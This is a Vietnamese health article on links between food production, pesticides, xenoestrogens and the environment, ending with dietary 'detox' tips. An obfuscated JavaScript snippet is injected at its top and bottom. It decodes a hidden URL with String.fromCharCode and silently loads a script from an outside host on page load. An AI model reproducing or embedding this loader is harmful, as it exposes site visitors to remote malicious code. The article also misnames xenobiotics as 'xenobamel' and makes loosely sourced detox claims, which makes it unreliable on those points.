Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Mối liên quan giữa Thực phẩm và Môi trường?

Mối liên quan giữa Thực phẩm và Môi trường?

Chúng ta đang tàn phá môi trường hay môi trường đang gây ảnh hưởng xấu tới cuộc sống và sức khỏe của chúng ta? Hàng ngày chúng ta sử dụng các loại thực phẩm từ siêu thị, chợ…ta luôn tự hỏi rằng chúng có nguồn gốc từ đâu, có đảm bảo an toàn vệ sinh thực phẩm không, có tốt cho sức khỏe không? Đã bao giờ bạn thắc mắc liệu môi trường có chịu tác động như thế nào từ các hoạt động nông nghiệp hiện nay?

Trong bài viết này, Jade House muốn chia sẻ về tác động của chế độ ăn uống đến môi trường như thế nào?

Con người luôn đòi hỏi thực phẩm giá rẻ, vì vậy các chính sách nông nghiệp trong hàng chục năm qua đã tập trung vào việc cung cấp một lượng lớn calo rẻ tiền. Hai trong số các nguồn calo rẻ nhất là ngô và đậu tương, được chính phủ liên bang đã trợ cấp từ lâu và chiếm một tỷ lệ lớn trong lượng calo của chúng ta ngày nay (thường ở dạng si-rô ngô với hàm lượng fructose cao hoặc dầu đậu nành). Ngô cũng là một thành phần dinh dưỡng lớn góp mặt trong chế độ ăn của động vật chúng ta nuôi trồng và sử dụng thịt.

Ngô và đậu tương được đánh giá cao bởi vì chúng cho năng suất nuôi trồng hiệu quả tốt trong các trang trại rộng lớn. Nhưng chính nền noogn nghiệp độc canh này đang vắt cạn kiệt đất và buộc nông dân phải sử dụng lượng thuốc trừ sâu và phân bón hóa học lớn hơn.

Tác động của thuốc trừ sâu và phân bón hóa đối với đất đai, động vật hoang dã tự nhiên và nguồn cung cấp nước đã được chứng minh rõ ràng . Hiện nay, ở Vịnh Mexico “vùng chết” nơi mà cá hoặc động vật khác không thể sinh tồn, đã lan rộng đến 8543 dặm vuông, tương đương với kích thước của New Jersey. Điều này là do hóa chất ở sông Mississippi, chủ yếu là phân bón chảy vào Vịnh.

Tác động của độc tố môi trường

Thuốc bảo vệ thực vật (thuốc trừ sâu và thuốc diệt cỏ ) là độc tố môi trường, chúng được gọi là xenobamel.

Xenobamel không chỉ bao gồm thuốc bảo vệ thực vật, mà cả nhựa (bisphenol A), chất hoạt động bề mặt được sử dụng trong bao bì thực phẩm, hóa chất gia dụng, hóa chất công nghiệp (PCB và dioxins) và kim loại nặng (chì, thủy ngân và cadmium). Những sản phẩm này đã và đang có tác động tiêu cực đến hệ sinh thái và môi trường.

Một nhóm xenobamel được tạo thành từ estrogen môi trường, được gọi là xenoestrogen, mô phỏng theo kích thích tố động vật và hoạt động như các chất gây rối loạn hệ thống nội tiết. Giống như các loại xenobamel khác, chúng có nguồn gốc từ thuốc bảo vệ thực vật và các hóa chất khác. Chúng tồn tại trong thực phẩm, nước và không khí chúng ta đang sử dụng. Khi đã xâm nhập vào trong cơ thể chúng ta, chúng rất khó bị phá vỡ và đào thải.

Xenoestrogen có liên quan đến các vấn đề phát triển và các vấn đề sức khỏe sinh sản đối với động vật hoang dã và động vật thí nghiệm. Trong số các tác động được ghi nhận trong một nghiên cứu năm 2006 về các xenoestrogen môi trường này là cá thể đực có các biểu hiện đặc điểm của cá thể cái, rùa bị đảo ngược giới tính và ếch đực có nhiều buồng trứng. Các nhà nghiên cứu cũng đã ghi nhận những con hải cẩu có thừa tử cung và cá hồi với tuyến giáp mở rộng.

Ở người, xenoestrogen mô phỏng tác dụng của estrogen của người vì chúng có cấu trúc hóa học cho phép chúng tương thích với các vị trí thụ thể của estrogen. Nhưng một khi chúng nằm trong vị trí đó sẽ gây ra vấn đề liên quan đến sức khỏe. Theo một nghiên cứu năm 2006, xenoestrogen có thể ngăn chặn sự gắn kết hormone bình thường với các thụ thể hoóc môn, ảnh hưởng đến con đường truyền tín hiệu tế bào và tăng sự phân chia tế bào.

Xenoestrogen chỉ là một ví dụ về cách thuốc bảo vệ thực vật và các chất độc khác mà con người sử dụng trong quá trình sản xuất thực phẩm đang tác động đến môi trường và sức khỏe của chính chúng ta.

Chúng ta đang lãng phí thực phẩm

Ngày càng nhiều, con người thích sử dụng các loại thực phẩm được vận chuyển từ xa đến. Quá trình vận chuyển thực phẩm như thế này không chỉ góp phần gây ô nhiễm không khí và nước, mà làm giảm và biến đổi các chất dinh dưỡng trong thực phẩm.

Về mặt sinh thái, chúng ta đang làm lãng phí các chất dinh dưỡng lấy từ đất. Và chúng ta không thay thế chúng một cách đầy đủ. Phân bón hóa học tập trung vào nitơ, phốt pho và kali, nhưng hàm lượng thực tế cung cấp ít hơn, vì vậy về cơ bản chúng đang làm đơn giản hóa sinh hóa của đất.

Chúng đã phá vỡ liên kết sinh thái trong đó có các chất dinh dưỡng từ đất được sử dụng trong nuôi trồng thực phẩm được tiêu thụ tại địa phương và sau đó được trả lại cho đất đó dưới dạng phân trộn và chất thải khác.

Môi trường ảnh hưởng đến thực phẩm của chúng ta như thế nào?

Hàm lượng thuốc trừ sâu do USDA (Bộ Nông nghiệp Hoa Kỳ) theo dõi ngày càng tăng và chất lượng dinh dưỡng trogn thực phẩm từ những năm 1950 đang giảm dần. Theo Brian Halwell, một nhà nghiên cứu của WorldWatch, vitamin C đã giảm 20%, sắt giảm 15%, riboflavin giảm 38% và canxi giảm 16%. Vì vậy, lượng chất dinh dưỡng chúng ta đang nạp vào cơ thể ít hơn. Điều này có nghĩa là chúng ta phải ăn nhiều thực phẩm để có đủ hàm lượng dinh dưỡng, vitamin và khoáng chất cẩn thiết.

Đây chính là hậu quả của việc cạn kiệt chất dinh dưỡng trong đất thông qua nền nông nghiệp độc canh và sử dụng phân bón hóa học, giúp đơn giản hóa sinh hóa của đất.

Việc đơn giản hóa sinh hóa của đất gây giảm sức đề kháng và làm cho cây trồng dễ bị sâu bệnh hơn, vì vậy nông dân cần sử dụng nhiều thuốc bảo vệ thực vật và thuốc tăng trưởng hơn, gián tiếp đưa các hóa chất đó vào trong cơ thể chúng ta và thâm nhập vào nguồn cung cấp không khí và nước.

Độc tố môi trường đối với sức khỏe con người thường là kết quả của sự tương tác phức tạp giữa cấu trúc di truyền và ảnh hưởng môi trường của một cá nhân. Một người có thể phản ứng di truyền khi tiếp xúc với xenobiotic môi trường.

Khả năng chuyển hóa và bài tiết độc tố của mỗi người là khác nhau. Điều này giải thích tại sao một số người có nguy cơ mắc bệnh khá thấp hơn mặc dù tiếp xúc trong cùng một môi trường. Cơ quan Bảo vệ Môi trường chỉ ra rằng các bệnh và tình trạng ôn nhiễm môi trường phổ biến hơn có thể liên quan chặt chẽ đến việc phơi nhiễm môi trường: hen suyễn, tự kỷ, ung thư vú và các bệnh ung thư khác, bệnh liên quan đến phổi, bệnh Parkinson và các tình trạng liên quan đến sức khỏe sinh sản.

Các nghiên cứu về gen nhằm xác định cơ sở di truyền và môi trường của bệnh hen suyễn, tiểu đường, ung thư và các bệnh thông thường khác. Nghiên cứu ​​này sẽ hỗ trợ xây dựng các quy trình mới để phân tích biến thể di truyền ở các nhóm bệnh nhân mắc bệnh cụ thể và các công nghệ mới để đo mức phơi nhiễm với các tác nhân hóa học và sinh học, trong số những thứ khác.

Cơ thể chúng ta xử lý độc tố như thế nào?

Con người đứng đầu chuỗi thức ăn và nguồ thực phẩm nạp vào cơ thể rất đa dạng. Bởi vì điều này, chúng ta thường không tiếp xúc với một loại độc tố tại một thời điểm, mà là một hỗn hợp các độc tố phức tạp. Điều này có nghĩa là thuốc bảo vệ thực vật và các hóa chất môi trường khác từ nhiều nguồn: động vật và những gì chúng đã tiêu thụ, thực vật và tiếp xúc với hóa chất, cũng như tiếp xúc trực tiếp với các chất gây ô nhiễm trong đất, nước và không khí đi vào cơ thể chúng ta qua đường ăn uống. Hầu như chúng ta không biết các chất độc này tương tác với nhau và nguồn gốc mà ngưỡng phơi nhiễm đồng thời hoặc hiệu ứng tích lũy như thế nào.

Làm thế nào cơ thể của một con người xử lý khi tiếp xúc với độc tố quyết định sức khỏe của chính họ. Các độc tố dư thừa có thể khiến cơ thể khó thực hiện đúng các chức năng thiết yếu.

May mắn thay, cơ thể chúng ta được trang bị một hệ thống giải độc được thiết kế để kiểm soát các độc tố và giúp duy trì sức khỏe khi tiếp xúc với các chất có hại. Hệ thống này chuyển đổi các chất độc hại thành các chất không độc hại và bài tiết chúng, chủ yếu ở ruột, gan và thận (mặc dù có nhiều mô khác có liên quan).

Độc tính xảy ra khi hệ thống giải độc trở nên quá tải với nhiều độc tố hơn mức có thể được loại bỏ. Có nhiều dấu hiệu cho thấy hệ thống giải độc tự nhiên của cơ thể có thể bị quá tải; những dấu hiệu này bao gồm đau đầu, mệt mỏi, đau cơ, phát ban da và các vấn đề về tiêu hóa.

Sự dung nạp và phá hủy hàng ngày từ số lượng độc tố ngày càng tăng trong môi trường bên ngoài (bao gồm cả chất phụ gia, chất bảo quản và thành phần nhân tạo trong thực phẩm chế biến) làm giảm khả năng xử lý các chất độc này của hệ thống giải độc trong cơ thể.

Giảm thiểu tiếp xúc với độc tố là biện pháp hữu hiệu và quan trọng, nhưng đồng thời, phải điều chỉnh chế độ ăn uống tăng cường khả năng chống độc tính của cơ thể. Các chất dinh dưỡng có thể cung cấp thông tin và nguyên liệu cho hệ thống giải độc để nó hoạt động tối ưu. Bằng cách thay đổi chế độ ăn uống và lối sống, bạn không chỉ có thể giảm các độc tố mà còn tăng khả năng kháng độc của cơ thể

Làm thế nào để tăng sứ đề kháng với độc tố

Bạn có thể tăng khả năng kháng độc của cơ thể và loại bỏ độc tố bằng cách thực hiện như sau:

Uống thêm nước

Bổ sung trái cây và rau quả nhiều màu sắc trong chế độ ăn, như bông cải xanh, bí, quả việt quất, cam quýt, củ cải đường, rau bồ công anh, atisô, lựu và cà rốt. Những thực phẩm này chứa đầy chất phytonutrients và đã được chứng minh là giúp tăng cường giải độc.

Sử dụng cần tây – một loại thực phẩm “giải độc” mạnh mẽ; chúng cung cấp chất phytonutrients có lợi cho khả năng giải độc của gan.

Bổ sung các loại thực phẩm sau đây có chứa chất chống oxy hóa (vitamin A, vitamin C, vitamin E và selen): củ cải đường, bông cải xanh, măng tây, cải xoăn, cải xoăn, đào, ớt đỏ, đu đủ, rau mùi tây, cà rốt, quả mơ, alfalfa, bơ và rau lá xanh. Chất chống oxy hóa là cần thiết để trung hòa các gốc tự do.

Thêm ngũ cốc nguyên hạt, chẳng hạn như gạo nâu, quinoa và yến mạch để hỗ trợ loại bỏ độc tố.

Tăng cương sử dụng các loại đậu, chẳng hạn như đậu đen, đậu trắng, đậu xanh và đậu lăng dưới dạng chất xơ hòa tan để hỗ trợ loại bỏ.

Tăng lượng protein từ các nguồn như đậu nành, trứng, các loại hạt và hạt. Cũng chọn thịt từ bò, lợn và gia cầm được nuôi trồng tự nhiên hoặc thực phẩm hữu cơ tương tự. Protein rất cần thiết cho quá trình giải độc, trong đó protein trong gan gắn vào các phân tử độc tố sẽ được cơ thể loại bỏ và đưa chúng ra ngoài.

Bổ sung đầy đủ vitamin B từ ngũ cốc, các loại hạt, hạt và hải sản. Vitamin B có vai trò quan trọng cho sự khởi đầu của hệ thống giải độc.

Tăng cường bổ sung men vi sinh (tức là acidophilus) để tăng cường sức khỏe đường ruột.

(Dunji, Sưu tầm và biên soạn)

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();